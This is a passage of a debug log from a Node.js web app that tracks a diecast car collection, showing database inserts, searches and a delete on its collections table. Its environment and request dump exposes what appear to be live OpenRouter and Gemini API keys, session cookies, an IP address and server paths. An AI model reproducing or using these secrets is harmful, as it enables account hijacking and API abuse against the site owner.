      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T12:43:35.124Z server-connect:app Executing action step insert
2026-02-03T12:43:35.124Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T12:43:35.124Z server-connect:output insert: { affected: 1, identity: 181 }
2026-02-03T12:43:35.124Z server-connect:output condition: undefined
2026-02-03T12:43:35.332Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:43:35.332Z server-connect:app Executing action step identify
2026-02-03T12:43:35.332Z server-connect:app options: { provider: 'security' }
2026-02-03T12:43:35.332Z server-connect:output identity: 1
2026-02-03T12:43:35.332Z server-connect:app Executing action step restrict
2026-02-03T12:43:35.332Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:43:35.333Z server-connect:output restrict: undefined
2026-02-03T12:43:35.333Z server-connect:app Executing action step paged
2026-02-03T12:43:35.333Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:43:35.335Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'HW Pop Culture',
      id: 181,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:43:43.410Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:43:43.410Z server-connect:app Executing action step identify
2026-02-03T12:43:43.411Z server-connect:app options: { provider: 'security' }
2026-02-03T12:43:43.411Z server-connect:output identity: 1
2026-02-03T12:43:43.411Z server-connect:app Executing action step restrict
2026-02-03T12:43:43.411Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:43:43.411Z server-connect:output restrict: undefined
2026-02-03T12:43:43.411Z server-connect:app Executing action step paged
2026-02-03T12:43:43.411Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:43:43.413Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 59,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:43:53.904Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-03T12:43:53.905Z server-connect:app Executing action step identify
2026-02-03T12:43:53.905Z server-connect:app options: { provider: 'security' }
2026-02-03T12:43:53.905Z server-connect:output identity: 1
2026-02-03T12:43:53.905Z server-connect:app Executing action step restrict
2026-02-03T12:43:53.905Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:43:53.906Z server-connect:output restrict: undefined
2026-02-03T12:43:53.906Z server-connect:app Executing action step condition
2026-02-03T12:43:53.906Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T12:43:53.906Z server-connect:app Executing action step insert
2026-02-03T12:43:53.906Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T12:43:53.906Z server-connect:output insert: { affected: 1, identity: 182 }
2026-02-03T12:43:53.906Z server-connect:output condition: undefined
2026-02-03T12:43:54.115Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:43:54.115Z server-connect:app Executing action step identify
2026-02-03T12:43:54.115Z server-connect:app options: { provider: 'security' }
2026-02-03T12:43:54.115Z server-connect:output identity: 1
2026-02-03T12:43:54.115Z server-connect:app Executing action step restrict
2026-02-03T12:43:54.115Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:43:54.116Z server-connect:output restrict: undefined
2026-02-03T12:43:54.116Z server-connect:app Executing action step paged
2026-02-03T12:43:54.116Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:43:54.117Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 60,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:43:58.686Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:43:58.686Z server-connect:app Executing action step identify
2026-02-03T12:43:58.686Z server-connect:app options: { provider: 'security' }
2026-02-03T12:43:58.686Z server-connect:output identity: 1
2026-02-03T12:43:58.686Z server-connect:app Executing action step restrict
2026-02-03T12:43:58.686Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:43:58.687Z server-connect:output restrict: undefined
2026-02-03T12:43:58.687Z server-connect:app Executing action step paged
2026-02-03T12:43:58.687Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:43:58.689Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 2,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'HW Silver Series',
      id: 176,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Silver Series',
      id: 182,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:44:02.335Z server-connect:router Serving serverConnect /api/masters/collections/delete
2026-02-03T12:44:02.336Z server-connect:app Executing action step identify
2026-02-03T12:44:02.336Z server-connect:app options: { provider: 'security' }
2026-02-03T12:44:02.336Z server-connect:output identity: 1
2026-02-03T12:44:02.336Z server-connect:app Executing action step restrict
2026-02-03T12:44:02.336Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:44:02.337Z server-connect:output restrict: undefined
2026-02-03T12:44:02.337Z server-connect:app Executing action step delete
2026-02-03T12:44:02.337Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'collections',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `collections` where `id` = ?',
    params: [ [Object] ]
  }
}
2026-02-03T12:44:02.342Z server-connect:output delete: { affected: 1 }
2026-02-03T12:44:02.546Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:44:02.547Z server-connect:app Executing action step identify
2026-02-03T12:44:02.547Z server-connect:app options: { provider: 'security' }
2026-02-03T12:44:02.547Z server-connect:output identity: 1
2026-02-03T12:44:02.547Z server-connect:app Executing action step restrict
2026-02-03T12:44:02.547Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:44:02.547Z server-connect:output restrict: undefined
2026-02-03T12:44:02.547Z server-connect:app Executing action step paged
2026-02-03T12:44:02.547Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:44:02.549Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'HW Silver Series',
      id: 176,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:54:19.027Z server-connect:router Serving templateView /diecast
2026-02-03T12:54:19.028Z server-connect:app Executing action step identify
2026-02-03T12:54:19.028Z server-connect:app options: { provider: 'security' }
2026-02-03T12:54:19.028Z server-connect:output identity: 1
2026-02-03T12:54:19.028Z server-connect:app Executing action step restrict
2026-02-03T12:54:19.028Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T12:54:19.030Z server-connect:output restrict: undefined
2026-02-03T12:54:19.030Z server-connect:router Render template diecast
2026-02-03T12:54:19.030Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-03T12:54:19.258Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T12:54:19.259Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T12:54:19.260Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T12:54:19.261Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T12:54:19.261Z server-connect:app Executing action step identify
2026-02-03T12:54:19.261Z server-connect:app options: { provider: 'security' }
2026-02-03T12:54:19.261Z server-connect:output identity: 1
2026-02-03T12:54:19.261Z server-connect:app Executing action step restrict
2026-02-03T12:54:19.261Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:54:19.262Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-03T12:54:19.262Z server-connect:output restrict: undefined
2026-02-03T12:54:19.262Z server-connect:app Executing action step select
2026-02-03T12:54:19.262Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T12:54:19.262Z server-connect:app Executing action step identify
2026-02-03T12:54:19.262Z server-connect:app options: { provider: 'security' }
2026-02-03T12:54:19.262Z server-connect:output identity: 1
2026-02-03T12:54:19.262Z server-connect:app Executing action step restrict
2026-02-03T12:54:19.262Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:54:19.263Z server-connect:app Executing action step identify
2026-02-03T12:54:19.264Z server-connect:app options: { provider: 'security' }
2026-02-03T12:54:19.264Z server-connect:output identity: 1
2026-02-03T12:54:19.264Z server-connect:app Executing action step restrict
2026-02-03T12:54:19.264Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:54:19.265Z server-connect:app Executing action step identify
2026-02-03T12:54:19.265Z server-connect:app options: { provider: 'security' }
2026-02-03T12:54:19.265Z server-connect:output identity: 1
2026-02-03T12:54:19.265Z server-connect:app Executing action step restrict
2026-02-03T12:54:19.265Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:54:19.266Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-02-03T12:54:19.267Z server-connect:app Executing action step identify
2026-02-03T12:54:19.267Z server-connect:app options: { provider: 'security' }
2026-02-03T12:54:19.267Z server-connect:output identity: 1
2026-02-03T12:54:19.267Z server-connect:app Executing action step restrict
2026-02-03T12:54:19.267Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:54:19.268Z server-connect:output restrict: undefined
2026-02-03T12:54:19.269Z server-connect:app Executing action step select
2026-02-03T12:54:19.269Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T12:54:19.269Z server-connect:output restrict: undefined
2026-02-03T12:54:19.270Z server-connect:app Executing action step select
2026-02-03T12:54:19.270Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T12:54:19.270Z server-connect:output restrict: undefined
2026-02-03T12:54:19.270Z server-connect:app Executing action step paged
2026-02-03T12:54:19.270Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T12:54:19.271Z server-connect:output restrict: undefined
2026-02-03T12:54:19.271Z server-connect:app Executing action step select
2026-02-03T12:54:19.271Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T12:54:19.272Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
